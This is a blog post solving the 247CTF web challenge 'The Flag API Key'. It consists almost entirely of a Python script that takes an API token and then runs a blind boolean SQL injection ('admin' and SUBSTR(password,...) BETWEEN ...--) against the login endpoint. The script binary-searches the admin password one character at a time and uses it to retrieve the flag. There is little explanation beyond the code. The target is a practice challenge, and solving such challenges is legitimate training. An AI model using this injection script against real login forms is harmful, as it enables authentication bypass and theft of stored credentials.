CREATIVE CHAOS   ▋ blog

The Flag API Key (web)

PUBLISHED ON 09/05/2023 — EDITED ON 11/12/2023 — 247CTF, INFOSEC

Intro

Nothing specific to say, the code speaks for itself.

Solution

import requests
import json

target_url="https://bdf9ebf7188f2277.247ctf.com/"

login_url = target_url+"api/login"
get_token_url = target_url+"api/get_token"
get_flag_url = target_url+"api/get_flag"

# Get the API token
response = requests.get(target_url + 'api/get_token')
response_dict = json.loads(response.text)
token = response_dict["message"].split()[-1][:-1]
print(token)

#key = "03ccdf7206aa67cd5932969152984f9a"
key = token

def query_range(str_pos, bottom, top):
    bottom_char = chr(bottom)
    top_char = chr(top)

    print(f"trying {bottom_char}, {top_char} at position {str_pos}")

    data = {
            'username': "admin' and SUBSTR(password," + str_pos + ",1) BETWEEN '" + bottom_char + "' AND '" + top_char + "'--",
            'password':"",
            'api':key
            }

    r = requests.post(login_url, data=data)

    return r


def query_direct(str_pos, val):
    val_char = chr(val)
    print(f"trying {val_char}")

    data = {
            'username': "admin' and SUBSTR(password," + str_pos + ",1) == '" + val_char +"'--",
            'password':"",
            'api':key
            }

    r = requests.post(login_url, data=data)

    return r


def get_flag(password):
    data = {
            'password':password,
            }

    r = requests.post(get_flag_url, data=data)

    return r

possible_chars= ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f']
possible_ords = list(map(ord, possible_chars))


def binary_search(str_pos, arr, low, high):

    mid = (high + low) // 2

    # if there are only 2 elements 
    if high - low == 1:
        r_low = query_direct(str_pos, arr[low])
        if "Welcome back admin" in r_low.text:
            return low
        else:
            return high

    # if there are only 3 elements 
    if high - low == 2:
        r_low = query_direct(str_pos, arr[low])

        if "Welcome back admin" in r_low.text:
            return low
        else:
            r_mid = query_direct(str_pos, arr[mid])
            if "Welcome back admin" in r_mid.text:
                return mid
            else:
                return high

    # query the lower range
    r = query_range(str_pos, arr[low], arr[mid])

    # present in lower range
    if "Welcome back admin" in r.text:
        print(f"in range of {low}, {mid-1}")
        return binary_search(str_pos, arr, low, mid)

    # present in the higher range
    else:
        print(f"in range of {mid+1}, {high}")
        return binary_search(str_pos, arr, mid + 1, high)


password = ""

for pos in range(32):
    # sqlite substr starts from 1
    str_pos = str(pos+1)

    res = binary_search(str_pos, possible_ords, 0, len(possible_ords)-1)

    pass_char = possible_chars[res]

    print(f"found: {pass_char}")

    password += pass_char

print(password)

r = get_flag(password)

print(r.text)

See Also

TAGS: API, HACK, PYTHON, SQL